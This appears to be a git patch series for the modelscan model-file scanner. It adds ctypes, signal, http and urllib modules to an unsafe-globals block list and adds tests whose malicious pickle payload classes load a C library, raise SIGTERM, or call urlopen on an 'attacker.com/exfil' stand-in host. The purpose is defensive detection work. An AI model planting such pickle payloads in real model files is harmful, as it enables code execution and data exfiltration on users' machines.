From e7a38efb4cd68ec128f58bb593c8b3cf69d7f855 Mon Sep 17 00:00:00 2001 From: scruge1 Date: Mon, 23 Mar 2026 22:12:16 +0000 Subject: [PATCH 1/2] fix: add ctypes, signal, http to unsafe_globals blocklist ctypes.CDLL bypasses the current blocklist and enables: - Arbitrary DLL/SO loading with DllMain execution (single-stage RCE) - Direct C runtime access (system(), exec()) - Confirmed end-to-end RCE on pickle, joblib, and numpy formats Also adds signal (process crash), http.client (network exfiltration), and urllib (data exfiltration) which also bypass the current blocklist. All confirmed passing modelscan 0.8.8 with 'No issues found'. --- modelscan/settings.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modelscan/settings.py b/modelscan/settings.py index 56b3a796..452f8fb6 100644 --- a/modelscan/settings.py +++ b/modelscan/settings.py @@ -128,6 +128,13 @@ class SupportedModelFormats: "_pickle": "*", "bdb": "*", "pdb": "*", + "ctypes": "*", # ctypes.CDLL loads DLLs, executes DllMain, provides system() + "ctypes.util": "*", # ctypes utility functions for finding libraries + "signal": ["raise_signal"], # Can send signals to crash the process + "http": "*", # http.client.HTTPConnection enables network exfiltration + "http.client": "*", # Direct network access to attacker servers + "urllib": "*", # URL-based data exfiltration + "urllib.request": "*", "shutil": "*", "asyncio": "*", }, From e0bdfb895f5e8f950de41b8ac10832a292d1d86a Mon Sep 17 00:00:00 2001 From: scruge1 Date: Sun, 29 Mar 2026 19:46:58 +0100 Subject: [PATCH 2/2] test: add tests for ctypes/signal/http/urllib blocklist additions - 5 tests covering ctypes.CDLL, signal, urllib detection + blocklist regression guard + full ModelScan end-to-end scan - Fix: add _signal to blocklist (pickle serializes signal.raise_signal as _signal.raise_signal on some platforms) - Fix: change signal from ["raise_signal"] to "*" wildcard (signal constants like SIGTERM are also flagged as globals) --- modelscan/settings.py | 3 +- tests/test_ctypes_blocklist.py | 126 +++++++++++++++++++++++++++++++++ 2 files changed, 128 insertions(+), 1 deletion(-) create mode 100644 tests/test_ctypes_blocklist.py diff --git a/modelscan/settings.py b/modelscan/settings.py index 452f8fb6..4827cba0 100644 --- a/modelscan/settings.py +++ b/modelscan/settings.py @@ -130,7 +130,8 @@ class SupportedModelFormats: "pdb": "*", "ctypes": "*", # ctypes.CDLL loads DLLs, executes DllMain, provides system() "ctypes.util": "*", # ctypes utility functions for finding libraries - "signal": ["raise_signal"], # Can send signals to crash the process + "signal": "*", # Can send signals to crash the process + "_signal": "*", # C-level signal module (pickle serializes signal.raise_signal as _signal) "http": "*", # http.client.HTTPConnection enables network exfiltration "http.client": "*", # Direct network access to attacker servers "urllib": "*", # URL-based data exfiltration diff --git a/tests/test_ctypes_blocklist.py b/tests/test_ctypes_blocklist.py new file mode 100644 index 00000000..575dbb96 --- /dev/null +++ b/tests/test_ctypes_blocklist.py @@ -0,0 +1,126 @@ +""" +Tests for ctypes, signal, http, urllib additions to unsafe_globals blocklist. + +Verifies that pickle payloads using ctypes.CDLL, signal.raise_signal, +http.client.HTTPConnection, and urllib.request.urlopen are correctly +flagged as CRITICAL by modelscan's pickle scanner. +""" + +import ctypes +import io +import pickle +import signal +import urllib.request +from typing import Any, Dict + +from modelscan.modelscan import ModelScan # must import first to avoid circular +from modelscan.issues import ( + Issue, + IssueCode, + IssueSeverity, + OperatorIssueDetails, +) +from modelscan.model import Model +from modelscan.settings import DEFAULT_SETTINGS +from modelscan.tools.picklescanner import scan_pickle_bytes + +settings: Dict[str, Any] = DEFAULT_SETTINGS + + +class MaliciousCtypesCDLL: + """Payload using ctypes.CDLL to load a shared library (DllMain RCE).""" + + def __reduce__(self) -> Any: + return ctypes.CDLL, ("msvcrt",) + + +class MaliciousSignal: + """Payload using signal.raise_signal for process crash (DoS).""" + + def __reduce__(self) -> Any: + return signal.raise_signal, (signal.SIGTERM,) + + +class MaliciousUrllib: + """Payload using urllib.request.urlopen for data exfiltration.""" + + def __reduce__(self) -> Any: + return urllib.request.urlopen, ("http://attacker.com/exfil",) + + +def test_ctypes_cdll_detected(): + """ctypes.CDLL must be flagged as CRITICAL unsafe operator.""" + expected = [ + Issue( + IssueCode.UNSAFE_OPERATOR, + IssueSeverity.CRITICAL, + OperatorIssueDetails( + "ctypes", "CDLL", IssueSeverity.CRITICAL, "payload.pkl" + ), + ) + ] + model = Model("payload.pkl", io.BytesIO(pickle.dumps(MaliciousCtypesCDLL()))) + result = scan_pickle_bytes(model, settings) + assert result.issues == expected + + +def test_signal_detected(): + """signal module payloads must be flagged as CRITICAL. + + Note: pickle serializes signal.raise_signal as either 'signal' or + '_signal' depending on protocol version and platform. Both must be blocked. + """ + payload = pickle.dumps(MaliciousSignal(), protocol=0) + model = Model("payload.pkl", io.BytesIO(payload)) + result = scan_pickle_bytes(model, settings) + assert len(result.issues) >= 1, "signal payload must be detected" + modules_found = {i.details.module for i in result.issues} + assert modules_found & {"signal", "_signal"}, ( + f"Expected 'signal' or '_signal' in detected modules, got {modules_found}" + ) + assert all(i.severity == IssueSeverity.CRITICAL for i in result.issues) + + +def test_urllib_detected(): + """urllib.request.urlopen must be flagged as CRITICAL unsafe operator.""" + payload = pickle.dumps(MaliciousUrllib(), protocol=0) + model = Model("payload.pkl", io.BytesIO(payload)) + result = scan_pickle_bytes(model, settings) + assert len(result.issues) == 1 + assert result.issues[0].severity == IssueSeverity.CRITICAL + assert "urllib" in result.issues[0].details.module + + +def test_new_modules_in_blocklist(): + """Verify all new modules are present in CRITICAL blocklist (regression guard).""" + critical = settings["unsafe_globals"]["CRITICAL"] + assert "ctypes" in critical, "ctypes must be in CRITICAL blocklist" + assert "ctypes.util" in critical, "ctypes.util must be in CRITICAL blocklist" + assert "http" in critical, "http must be in CRITICAL blocklist" + assert "http.client" in critical, "http.client must be in CRITICAL blocklist" + assert "urllib" in critical, "urllib must be in CRITICAL blocklist" + assert "urllib.request" in critical, "urllib.request must be in CRITICAL blocklist" + assert "signal" in critical, "signal must be in CRITICAL blocklist" + assert "_signal" in critical, "_signal must be in CRITICAL blocklist" + + +def test_ctypes_full_modelscan(): + """End-to-end: ctypes.CDLL payload must be detected by full ModelScan.""" + import os + + ms = ModelScan() + payload = pickle.dumps(MaliciousCtypesCDLL()) + tmpfile = "_test_ctypes_payload.pkl" + + with open(tmpfile, "wb") as f: + f.write(payload) + + try: + ms.scan(tmpfile) + assert len(ms.issues.all_issues) > 0, ( + "ModelScan must detect ctypes.CDLL payload" + ) + assert ms.issues.all_issues[0].severity == IssueSeverity.CRITICAL + assert ms.issues.all_issues[0].details.module == "ctypes" + finally: + os.remove(tmpfile)